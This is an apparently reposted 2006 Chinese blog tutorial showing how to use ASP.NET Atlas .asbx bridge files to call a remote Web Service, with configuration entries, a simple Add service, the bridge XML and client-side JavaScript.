在ASP.NET Atlas中調用Web Service——創建Mashup調用遠端Web Service(基礎知識以及簡單示例)

<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script> 作者:Dflying Chen http://dflying.cnblogs.com/

注:Atlas中的Mashup極其複雜,其中涉及衆多的對象與架構,爲了寫這篇文章,我花了不少時間學習研究。同時,關於這方面資源的匱乏簡直到了令人髮指的地步。往往Google 一下居然一條記錄都沒有……但Mashup在現今的AJAX程序中又是如此重要,近一段時間內,我也收到了好多朋友的消息,希望我能介紹一下Mashup 的心得,這裏我就斗膽獻醜了。但目前爲止,我對Atlas中的Mashup也只是粗通皮毛,所以這個系列中將僅僅通過一些實例應用來順便說出我的理解,其中一定有很多錯誤疏漏之處,還請各位不吝斧正!也歡迎大家探討實際項目中遇到的問題。

對於傳統的Web程序,瀏覽器只與一臺服務器進行通信,並從這臺服務器上得到所有信息。同時出於安全考慮,頁面上的JavaScript 也只允許和同一臺服務器通信。而隨着目前Internet的發展,越來越多的Web Service分散在互聯網的各處,作爲開發人員的我們自然希望能夠充分利用這些已經存在的Service ,這時,我們就需要對遠端的Web Service做以Mashup。這是一項常見的需求,也是一項重複性很高的勞動,幸運的是,ASP.NET Atlas充分認識到了這一點,並對此有着強大的內建支持。

Atlas通過引入一種新的HTTP模塊——asbx文件(其中b 代表Bridge),來實現對遠端Web Service請求的Mashupasbx文件其實是一個結構化的XML 文檔,裏面包含了對遠端Web Service方法的封裝,當然,您也可以同時指定一個CodeBehind CS文件用來對其進行一些複雜的控制。asbx文件和aspx文件位於同一臺主機上。Atlas 網站在編譯的時候會根據asbx中的聲明以及相應的CodeBehind文件(如果存在)將其編譯並註冊。這樣當客戶端JavaScript 調用該asbx中定義的方法時,asbx會將其轉發給實際的Web Service並將返回結果會送給客戶端,起到一個Bridge的作用。而對於客戶端,就和直接調用 同一主機上的Web Service沒什麼不一樣。

如果您安裝過Atlasmsi文件,並建立了一個Atlas Web Site,那麼下面的配置已經爲您做好了。否則,啓用asbx的支持,您需要如下的操作:

  1. IIS的虛擬目錄下按照下圖所示,添加.asbx文件的映射。
    bridge1-1.jpg
  2. web.configsectionGroup段添加:
None.gif<section name='webServices' type='Microsoft.Web.Configuration.WebServicesSection' />
  1. web.configcompilation段添加:
None.gif<buildProviders>
None.gif   
<add extension='.asbx' type='Microsoft.Web.Services.BridgeBuildProvider'/>
None.gif
</buildProviders>
  1. web.confighttphandlers段添加:
None.gif<add verb='*' path='*.asbx' type='Microsoft.Web.Services.ScriptHandlerFactory' validate='false'/>
  1. web.confighttpmodules段添加:
None.gif<add name='BridgeModule' type='Microsoft.Web.Services.BridgeModule'/>

下面讓我們通過一個最簡單的示例學習AtlasMashup的基本概念和asbx 文件的基本結構。

首先,編寫一個Web Service用來模擬在Internet上存在的一個服務。當然,這個服務沒什麼實際用處,僅僅是求兩個integer 的和:

None.gifusing System;
None.gif
using System.Web;
None.gif
using System.Web.Services;
None.gif
using System.Web.Services.Protocols;
None.gif
None.gif[WebService(Namespace 
= 'http://www.dflying.net/')]
None.gif[WebServiceBinding(ConformsTo 
= WsiProfiles.BasicProfile1_1)]
None.gif
public class SimpleWebService : System.Web.Services.WebService
ExpandedBlockStart.gif
{
InBlock.gif    [WebMethod]
InBlock.gif    
public int Add(int value1, int value2)
ExpandedSubBlockStart.gif    
{
InBlock.gif        
return value1 + value2;
ExpandedSubBlockEnd.gif    }

ExpandedBlockEnd.gif}
我將這個Web Service置於另外一臺主機的IIS上,注意:我們應該更改web.config 文件以允許通過HTTP GETWeb Service的訪問,而不僅僅是默認的POST
None.gif<webServices>
None.gif  
<protocols>
None.gif    
<add name='HttpGet'/>
None.gif  
</protocols >
None.gif
</webServices>

完成之後,您可以在瀏覽器中測試一下,訪問: http://dflyingchen/MyServices/SimpleWebService.asmx/Add?value1=1&value2=2 (不要忘記更改前面相應的主機名),如果你能得到下圖所示的結果,那麼恭喜你,Web Service沒問題了。
bridge1-2.jpg

下面就是最有“技術含量”的asbx文件了:

None.gif<?xml version='1.0' encoding='utf-8' ?>
None.gif
<bridge namespace='Test' className='SimpleWebService'>
None.gif
None.gif  
<proxy type='Microsoft.Web.Services.BridgeRestProxy' 
None.gif         serviceUrl
='http://dflyingchen/MyServices/SimpleWebService.asmx/Add' />
None.gif
None.gif  
<method name='Add'>
None.gif    
<input>
None.gif      
<parameter name='value1' />
None.gif      
<parameter name='value2' />
None.gif    
</input>
None.gif  
</method>
None.gif
</bridge>
注意到作爲一個合法的XML文件,asbx文件第一行是XML 的聲明。然後,對於本asbx文件,有如下部分:
  1. bridge段,聲明該mashupnamespaceclass name。注意這兩個屬性代表的是客戶端調用時所見的被mashup過的namespaceclass name,並不是遠端Web Servicenamespaceclass name
  2. proxy段,聲明該mashup的類型,這裏我們指定爲Microsoft.Web.Services.BridgeRestProxy 相應的,指定一個代表服務URLstringhttp://dflyingchen/MyServices/SimpleWebService.asmx/Add
  3. method段,您可以添加多個method段,每一個代表一個定義在上述URL 中的服務。這裏我們指定了Method的名稱,同樣的,它代表的僅是客戶端調用的名稱(這樣客戶端將以 namespace.classname.methodname()的方式調用該mashup)。
  4. input段,其中通過parameter標記聲明瞭該方法的參數。 parameter標記中的name屬性代表參數名,注意這裏聲明的參數名要和遠端Web Method的參數名保持一致。這裏我們聲明瞭兩個參數,與上面定義的Web Method的兩個參數對應。

到此爲止,一個最簡單的asbx文件就完成了。當然,上述介紹與完備相距甚遠。關於asbx 文件中的其它可選聲明,目前並沒有官方文檔,我只能在接下來的幾個例子中根據使用情況適當介紹。

我們再來建立一個Atlas Page測試一下該mashup,首先添加一個ScriptManager,並添加對上述mashup 的引用,注意擴展名爲asbx,不要寫習慣了就直接寫成了asmx

None.gif<atlas:ScriptManager ID='sm' runat='server'>
None.gif    
<Services>
None.gif        
<atlas:ServiceReference Path='SimpleBridge.asbx' />
None.gif    
</Services>
None.gif
</atlas:ScriptManager>
然後添加一段HTML,用來提供用戶輸入,引發調用並顯示結果;
None.gif<input id='input1' type='text' value='1' size='3' />
None.gif
<input id='input2' type='text' value='2' size='3' />
None.gif
<input id='doAdd' type='button' value='Add' onclick='return doAdd_onclick()' />
None.gif
<div id='result' />

最後,一小段JavaScript調用mashup方法:

None.giffunction doAdd_onclick() {
None.gif    var int1 = $('input1').value;
None.gif    var int2 = $('input2').value;
None.gif    Test.SimpleWebService.Add({'value1': int1,'value2': int2}, onAddComplete);
None.gif}
None.giffunction onAddComplete(result) {
None.gif    $('result').innerHTML = 'Result is: ' + result;
None.gif}

注意調用方法的簽名是Test.SimpleWebService.Add(),其中的每一部分都在asbx 文件中有所聲明。另外,返回值是一個XML string,這裏爲了簡化,就直接輸出到頁面上了。

瀏覽器中如下:
bridge1-3.jpg

示例程序源代碼可以在此下載:http://www.cnblogs.com/Files/dflying/SimpleBridgeDemo.rar

在接下來的幾個實例中,我將對一些“真實有用”的Web Service 進行mashup 並應用到我們的程序中。

408043.html

Dflying Chen 2006-05-24 15:20 發表評論
<script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>
發佈了97 篇原創文章 · 獲贊 0 · 訪問量 6萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章